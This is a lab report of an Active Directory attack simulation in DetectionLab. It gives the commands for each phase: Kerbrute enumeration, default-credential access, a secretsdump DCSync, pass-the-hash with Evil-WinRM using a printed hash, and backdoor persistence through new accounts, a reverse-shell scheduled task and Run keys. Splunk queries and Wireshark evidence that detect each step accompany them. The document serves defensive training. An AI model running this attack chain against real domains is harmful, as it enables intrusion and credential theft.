

AD Attack-Detection-Lab — PENETRATION TEST & DETECTION REPORT

Active Directory Attack Simulation & Blue Team Analysis

Prepared by: ANAS

1. Executive Summary

This report documents a full-scope Active Directory attack simulation conducted within a controlled DetectionLab environment. The exercise was designed to demonstrate end-to-end offensive security techniques alongside corresponding defensive detection capabilities using industry-standard tools.

The engagement covered all phases of the MITRE ATT&CK framework: Reconnaissance, Initial Access, Credential Access, Persistence, and Lateral Movement. Every offensive action was simultaneously monitored and detected using Splunk SIEM and Wireshark network capture, producing concrete, evidence-backed detection findings.

Category	Details
Target Environment	DetectionLab — Active Directory Domain (windomain.local)
Attacker Machine	Kali Linux (192.168.56.104)
Primary Target	Domain Controller — dc.windomain.local (192.168.56.101)
Secondary Target	WEF Server (192.168.56.103)
Detection Stack	Splunk SIEM + Wireshark + Windows Event Logs + Sysmon
Outcome	Full Domain Compromise — NTDS.DIT extracted, Administrator shell obtained, Lateral Movement achieved

2. Lab Environment & Components

The lab is built on Chris Long's open-source DetectionLab project, provisioned using Vagrant and Packer on VirtualBox. It replicates a realistic enterprise Active Directory environment with full logging and monitoring capabilities.

2.1 Network Topology

Host	IP Address	Role	Key Services
dc.windomain.local	192.168.56.101	Domain Controller	AD DS, DNS, Kerberos, LDAP, SMB, WinRM, Splunk
win10.windomain.local	192.168.56.100	Workstation	Sysmon, Winlogbeat, WEF Client
wef.windomain.local	192.168.56.103	WEF Collector	Windows Event Forwarding, RPC
logger	192.168.56.105	Log Aggregator	Splunk, Zeek, Winlogbeat
Kali Linux	192.168.56.104	Attacker Machine	Nmap, Kerbrute, NetExec, Impacket, Evil-WinRM

2.2 Technology Stack

- Virtualization: VirtualBox + Vagrant + Packer
- Operating Systems: Windows Server 2016 (DC, WEF), Windows 10 (Workstation), Ubuntu (Logger), Kali Linux (Attacker)
- SIEM: Splunk Enterprise
- Network Monitoring: Zeek IDS + Wireshark
- Host Telemetry: Sysmon v13 + Winlogbeat + Windows Event Forwarding
- Offensive Tools: Nmap, Kerbrute, NetExec (NXC), Impacket Suite, Evil-WinRM

3. Attack Narrative & Methodology

The attack followed a structured kill chain replicating real-world adversary tradecraft. Each phase was executed methodically, escalating from passive reconnaissance to full domain compromise.

3.1 Phase 1 — Network Reconnaissance

Objective: Identify live hosts, open services, and domain infrastructure.

Host Discovery:

```
nmap -sn 192.168.56.0/24
```

Result: Identified 6 live hosts including DC (192.168.56.101), WEF (192.168.56.103), Win10 (192.168.56.100), and Logger (192.168.56.105).

Deep Service Scan on DC:

```
nmap -sV -sC -O -p- 192.168.56.101 -oN DC_SCAN.txt
```

Key findings from the scan:

- Port 88 (Kerberos) — confirms Domain Controller role
- Port 389/3268 (LDAP/Global Catalog) — Active Directory confirmed
- Port 445 (SMB) — Windows Server 2016 Standard Evaluation, SMBv1 enabled
- Port 3389 (RDP) — Remote Desktop accessible, certificate CN=dc.windomain.local
- Port 5985 (WinRM) — Remote management enabled, HTTP-based
- SMB Signing: Required — NTLM Relay attacks mitigated on this host

LDAP Anonymous Enumeration:

```
nmap -p 389,445,3268,88 --script ldap-rootdse 192.168.56.101
```

Retrieved full AD forest structure anonymously: domain windomain.local, Forest Functional Level 7 (Server 2016), Global Catalog confirmed. The LDAP Anonymous Bind was permitted, exposing domain naming contexts without authentication.

SMB Null Session Probe:

```
nxnc smb 192.168.56.0/24 -u '' -p '' --shares
```

Null Authentication accepted by the DC (Null Auth: True, SMBv1: True). Share enumeration returned STATUS_ACCESS_DENIED, however the successful null session confirmed a security misconfiguration.

3.2 Phase 2 — Username Enumeration via Kerberos

Objective: Enumerate valid domain accounts without triggering account lockout.

```
kerbrute userenum --dc 192.168.56.101 -d windomain.local  
/usr/share/wordlists/usernames.txt
```

Kerbrute exploits the Kerberos AS-REQ protocol to differentiate between valid and invalid usernames. A valid username triggers KRB5KDC_ERR_PREAUTH_REQUIRED (error code 25), while an invalid one returns KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN (error code 6). This technique does not require a password and operates below standard lockout thresholds.

Confirmed Valid Accounts:

- administrator@windomain.local
- vagrant@windomain.local

AS-REP Roasting Attempt:

```
impacket-GetNPUsers windomain.local/ -no-pass -usersfile users.txt
```

The vagrant account did not have the UF_DONT_REQUIRE_PREAUTH flag set, so AS-REP Roasting was unsuccessful. Proceeding with credential-based authentication.

3.3 Phase 3 — Initial Access via Default Credentials

Objective: Gain authenticated foothold using discovered credentials.

```
nxc smb 192.168.56.101 -u vagrant -p vagrant --shares
```

The vagrant account used its default credential (vagrant:vagrant), a known DetectionLab configuration. NetExec confirmed Pwn3d! status, indicating local administrator privileges on the Domain Controller — an extremely high-severity finding that allowed direct credential dumping.

3.4 Phase 4 — Credential Dumping (NTDS.DIT via DRSUAPI)

Objective: Extract all domain credential hashes.

```
impacket-secretsdump windomain.local/vagrant:vagrant@192.168.56.101
```

Impacket's secretsdump leveraged the DRSUAPI method — the same replication protocol used between Domain Controllers — to extract the full NTDS.DIT database remotely. This produced the NT hashes for every account in the domain.

Critical hashes extracted:

Account	RID	NT Hash	Significance
Administrator	500	e02bc503339d51f71d913c245d35b50b	Full domain admin
krbtgt	502	bfb5346562d79930f10f1376b3f71316	Golden Ticket possible
vagrant	1000	e02bc503339d51f71d913c245d35b50b	Initial foothold
mike	1108	55b8a9ef63033b81d1d2d334f09787ed	Domain user

LSA Secrets and DPAPI machine/user keys were also extracted, along with machine account hashes for DC\$, WIN10\$, and WEF\$.

3.5 Phase 5 — Remote Shell via Pass-the-Hash (Evil-WinRM)

Objective: Obtain interactive shell on the Domain Controller as Administrator.

```
evil-winrm -i 192.168.56.101 -u Administrator -H e02bc503339d51f71d913c245d35b50b
```

Using the extracted NT Hash, Evil-WinRM established an interactive PowerShell session over WinRM (port 5985) via NTLM Pass-the-Hash — no plaintext password required. This granted SYSTEM-equivalent access on the Domain Controller.

3.6 Phase 6 — Persistence (3 Methods)

Objective: Maintain persistent access that survives password resets.

Method 1 — New Local Administrator Account:

```
net user fake_test_user P@ssw0rd123 /add
net localgroup Administrators fake_test_user /add
```

A backdoor account (fake_test_user) was created and elevated to local Administrators — ensuring access even if the vagrant or Administrator password is changed.

Method 2 — Scheduled Task (Auto-start Reverse Shell):

```
schtasks /create /tn "SystemHealthCheck" /tr "powershell -c reverse_shell" /sc
onstart /ru SYSTEM
```

A scheduled task configured to run at system startup executes a reverse shell payload as SYSTEM — guaranteeing re-entry after reboot.

Method 3 — Registry Auto-Start / Sticky Keys Backdoor:

```
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Run" /v Updater /t
REG_SZ /d payload.exe /f
```

Registry Run key modification ensures payload execution at user login. Additionally, Accessibility feature (Sticky Keys) replacement was applied as an alternative pre-authentication backdoor.

3.7 Phase 7 — Lateral Movement to WEF Server

Objective: Pivot from the compromised DC to the WEF server (192.168.56.103).

```
nxc smb 192.168.56.103 -u Administrator -H e02bc503339d51f71d913c245d35b50b
--shares
```

Using the Domain Administrator hash obtained from NTDS.DIT, lateral movement to the WEF server was achieved over SMB. Sensitive files were accessed and exfiltrated from the WEF server's shared directories. The DC was used as a jumping point, authenticated via RPC (port 135) before pivoting to SMB (port 445).

4. MITRE ATT&CK Mapping

Tactic	Technique ID	Technique Name	Tool Used
Reconnaissance	T1046	Network Service Scanning	Nmap
Reconnaissance	T1589.002	Gather Victim Identity: Email/Username	Kerbrute
Credential Access	T1110.003	Brute Force: Password Spraying	NetExec (NXC)
Initial Access	T1078	Valid Accounts	vagrant:vagrant (default creds)
Credential Access	T1003.003	OS Credential Dumping: NTDS	Impacket secretsdump (DRSUAPI)
Lateral Movement	T1550.002	Pass-the-Hash	Evil-WinRM
Persistence	T1136.001	Create Account: Local Account	net user (fake_test_user)
Persistence	T1053.005	Scheduled Task/Job	schtasks
Persistence	T1547.001	Boot/Logon Autostart: Registry Run Keys	reg add
Lateral Movement	T1021.002	Remote Services: SMB/Admin Shares	NetExec SMB

5. Splunk Detection Analysis

All host-based telemetry was collected via Windows Event Forwarding (WEF) and Winlogbeat, indexed in Splunk. The following detections were identified corresponding to each attack phase.

5.1 Detection 1 — Kerberos Username Enumeration (EventCode 4768)

Splunk Query Used:

```
index=wineventlog EventCode=4768
| timechart count span=1m
| where count > 10
```

Field	Value
Event ID	4768 — Kerberos Authentication Ticket (TGT) Requested
Total Events	777 events (All Time) Peak: 237 requests in a single minute
Peak Time	2026-08-25 18:30 — 237 requests/min 2026-08-25 18:51 — 148 requests/min
Indicator	237 Kerberos TGT requests in one minute from a single source = automated enumeration tool (Kerbrute)

A legitimate user generates 1-5 Kerberos requests per session. 237 requests per minute is an unmistakable indicator of automated username enumeration. The DC logs a 4768 event for every AS-REQ regardless of validity, creating a high-fidelity detection signal.

5.2 Detection 2 — Nmap Scan Fingerprint (EventCode 4624)

Splunk Query Used:

```
index=wineventlog EventCode=4624 Logon_Type=3
| table _time, Account_Name, Source_Network_Address, Workstation_Name
| where Source_Network_Address="192.168.56.104"
```

Field	Value
Event ID	4624 — An account was successfully logged on
Account_Name	ANONYMOUS LOGON
Source IP	192.168.56.104 (Kali)
Workstation_Name	nmap — Nmap self-identified in the SMB negotiation banner
Logon_Process	NtLmSsp (NTLM authentication)

Nmap's default SMB scripts embed the string 'nmap' as the workstation name during SMB negotiation — a critical OPSEC failure that leaves a unique, easily searchable signature in Windows authentication logs.

5.3 Detection 3 — SMB Authentication with Compromised Credentials (EventCode 4624)

Splunk Query Used:

```
index=wineventlog EventCode=4624 Logon_Type=3
| table _time, Account_Name, Source_Network_Address, Logon_Process
| where Source_Network_Address="192.168.56.104"
```

Field	Value
Account_Name	vagrant
Source IP	192.168.56.104 (Kali Linux — external/attacker)
Logon_Process	NtLmSsp — confirms NTLM-based authentication (not Kerberos)
Logon_Type	3 — Network Logon (remote connection)
Indicator	Service account authenticating remotely from an external Kali machine via NTLM — highly anomalous

5.4 Detection 4 — DCSync / NTDS.DIT Dumping (EventCode 4662)

Splunk Query Used:

```
index=wineventlog EventCode=4662
| table _time, Account_Name, Object_Type, Properties
| where Account_Name="vagrant"
```

Field	Value
Event ID	4662 — An operation was performed on an Active Directory object
Account_Name	vagrant (non-privileged account performing DC-level operations)
Object_Type GUID	{19195a5b-6da0-11d0-afd3-00c04fd930c9} — Domain-DNS class (DRSUAPI target)
Properties	Control Access — DS-Replication-Get-Changes rights exercised
Volume	51 events at 2026-08-27 14:31:14 — all in the same second. Normal replication never fires 51 events simultaneously.

Event ID 4662 with the Domain-DNS GUID and Control Access properties is the definitive DCSync signature. The vagrant account — a non-Domain Controller — requesting replication rights 51 times in one second is an unambiguous indicator of credential dumping via DRSUAPI.

5.5 Detection 5 — Persistence: Backdoor Account Creation (EventCode 4720)

Splunk Query Used:

```
index=wineventlog (EventCode=4720 OR EventCode=4732)
earliest="08/27/2026:00:00:00"
| table _time, EventCode, Account_Name, Group_Name, Subject_Account_Name
```

Field	Value
Event ID	4720 — A user account was created
New Account	fake_test_user
Created By	vagrant (attacker's initial foothold account)
Timestamp	2026-08-27 00:02:23
Indicator	New account creation at midnight by a non-standard account — classic persistence behavior

5.6 Detection 6 — Lateral Movement to WEF (EventCode 4624)

Splunk Query Used:

```
index=wineventlog EventCode=4624 Logon_Type=3
earliest="08/27/2026:00:00:00"
| table _time, Account_Name, Source_Network_Address
| where Source_Network_Address="192.168.56.101" OR
Source_Network_Address="192.168.56.104"
| where match(Account_Name, "vagrant|Administrator|mike")
```

Observation	Significance
WEF\$ auth from 192.168.56.103	WEF machine account authenticating — pivot initiated from DC
vagrant auth from 192.168.56.104 to 192.168.56.103	Direct SMB connection from Kali to WEF using stolen credentials
500 total events, 6 unique authenticated sessions	Multiple lateral movement paths used, indicating systematic network traversal

6. Wireshark Network Traffic Analysis

Network packet capture was collected on the host-only interface (eth1) covering all lab traffic. The capture file (1.pcapng) provided protocol-level evidence corroborating every attack phase detected in Splunk.

6.1 Kerberos Brute Force — AS-REQ Flood

Filter Applied:

```
kerberos && ip.src == 192.168.56.104
```

Metric	Value
Total Displayed Packets	290,655 packets (23.5% of entire capture)
UDP Conversations	28,232 unique conversations to port 88
Destination	192.168.56.101 port 88 (KDC)
Packet Type	AS-REQ (Authentication Service Request) — one per username tested
Error Codes Found	error_code=6 (PRINCIPAL_UNKNOWN) = invalid usernames error_code=25 (PREAUTH_REQUIRED) = valid usernames
Key Detail	Each packet contains a unique nonce and cname-string field revealing the username being tested. 290K packets from one IP in minutes is a textbook automated enumeration pattern.

6.2 NTLM Authentication Traffic Analysis

Filter Applied:

```
ntlmssp && ip.src == 192.168.56.104
```

72 NTLMSSP packets were identified spanning four protocols: SMB2, SMB, HTTP, and DCERPC. The NTLM handshake consists of three message types:

- NTLMSSP_NEGOTIATE (Type 1): Client initiates, advertises supported capabilities
- NTLMSSP_CHALLENGE (Type 2): Server responds with 8-byte random challenge
- NTLMSSP_AUTH (Type 3): Client responds with NT hash of password applied to the challenge — this is the authentication proof

36 AUTH packets (Type 3) were observed, revealing username vagrant and domain WINDOMAIN in plaintext within the NTLMSSP structure, with the NTProofStr field containing the cryptographic response.

6.3 TCP Endpoint Analysis — Attack Traffic Breakdown

Statistics → Endpoints → TCP revealed the following attack-related connections:

Destination IP	Port	Total Packets	Attack Phase
192.168.56.101	445 (SMB)	3,193	SMB Auth (vagrant) + secretsdump preparation
192.168.56.101	5985 (WinRM)	730	Evil-WinRM Pass-the-Hash session (HTTP-wrapped NTLM)
192.168.56.101	49667 (RPC)	415	DRSUAPI dynamic port — NTDS.DIT extraction via DCSync
192.168.56.103	135 (RPC-EM)	106	Lateral movement initiation — RPC Endpoint Mapper
192.168.56.103	445 (SMB)	708	Lateral movement to WEF — SMB file access and credential reuse

6.4 DCSync Traffic Fingerprint (DRSUAPI)

Filter Applied:

```
msrpc && ip.src == 192.168.56.104
```

The secretsdump tool uses the DRSUAPI (Directory Replication Service Remote Protocol) to mimic a Domain Controller requesting replication data. This produces a distinctive network pattern:

- Initial connection to port 135 (RPC Endpoint Mapper) to discover the DRSUAPI service endpoint
- Redirect to dynamic high port 49667 for the actual DRSUAPI communication
- Function call DRSGetNCChanges — the specific API that returns credential hashes
- 415 total packets on the dynamic port — significantly more than normal replication

This technique abuses legitimate Windows replication infrastructure, making it difficult to block without disrupting normal DC operations — detection must rely on behavioral analytics (who is calling DRSGetNCChanges from a non-DC).

7. Detection Summary & Evidence Matrix

Attack Phase	Tool	Splunk Event	Wireshark Evidence	MITRE ID
Reconnaissance	Nmap	4624 (Workstation=nmap)	ANONYMOUS LOGON, SMB negotiation	T1046
Username Enum	Kerbrute	4768 (237/min)	290K AS-REQ packets, port 88	T1589.002
Initial Access	NetExec	4624 Type 3 (NtLmSsp)	NTLMSSP AUTH port 445, 3,193 pkts	T1078 / T1110
Credential Dump	secretsdump	4662 (51 events/sec)	DRSUAPI port 49667, 415 pkts	T1003.003
Remote Shell	Evil-WinRM	4624 Type 3 (Admin)	HTTP NTLMSSP port 5985, 730 pkts	T1550.002
Persistence	net user / schtasks	4720 (fake_test_user)	N/A (host-based only)	T1136 / T1053
Lateral Movement	NetExec SMB	4624 (WEF\$ from .103)	SMB port 445 WEF, 708 pkts	T1021.002

8. Recommendations

- **CRITICAL:** Eliminate Default Credentials: The vagrant:vagrant credential was the single point of total domain compromise. All default lab and service account passwords must be changed before any network exposure.
- **HIGH:** Disable SMBv1: SMBv1 was detected as enabled on the Domain Controller. It provides no modern security benefits and enables legacy attacks (EternalBlue). Disable via Group Policy immediately.
- **HIGH:** Restrict DRSUAPI/DCSync Rights: Only Domain Controllers should hold DS-Replication-Get-Changes permissions. Audit and remove this right from any non-DC account.
- **MEDIUM:** Enforce Kerberos Pre-Authentication: Ensure no accounts have UF_DONT_REQUIRE_PREAUTH set unless explicitly required, to prevent AS-REP Roasting.
- **HIGH:** Deploy Alerting for EventCode 4662: A single alert rule on EventCode 4662 with the Domain-DNS GUID from a non-DC account would have immediately flagged the DCSync attack in real time.
- **HIGH:** Monitor for Anomalous Account Creation: EventCode 4720 at off-hours by non-admin accounts should trigger an immediate alert. fake_test_user was created at 00:02 with no business justification.
- **MEDIUM:** WinRM Access Control: Restrict WinRM (port 5985) access to authorized management hosts only via Windows Firewall rules and Just Enough Administration (JEA).

9. Conclusion

This lab exercise demonstrated a realistic, end-to-end Active Directory compromise beginning from an unauthenticated network position and achieving full domain control — including extraction of all credential hashes (NTDS.DIT), interactive shell access on the Domain Controller, three persistent backdoors, and lateral movement to a secondary server.

From a defensive perspective, the DetectionLab environment proved highly capable of capturing attack artifacts across both host-based telemetry (Windows Event Logs via Splunk) and network-level captures (Wireshark). Every attack phase left detectable evidence, confirming that a properly tuned SIEM with the right alert rules would have identified this attack chain in real time.

The most impactful finding was that a single default credential (vagrant:vagrant) with local administrator access to the Domain Controller eliminated all other security controls — reinforcing that credential hygiene and least-privilege access remain the most critical defensive priorities in any Active Directory environment.

Skills demonstrated in this exercise:

- Active Directory attack techniques: Kerberos enumeration, LDAP reconnaissance, NTLM authentication abuse, DCSync, Pass-the-Hash
- Offensive tooling: Nmap, Kerbrute, NetExec, Impacket Suite (secretsdump), Evil-WinRM
- SIEM threat hunting: Splunk SPL queries, event correlation, IOC identification across Windows Security Event IDs (4624, 4662, 4720, 4768)
- Network forensics: Wireshark protocol analysis, NTLMSSP dissection, Kerberos AS-REQ pattern recognition, TCP endpoint mapping
- MITRE ATT&CK framework mapping and reporting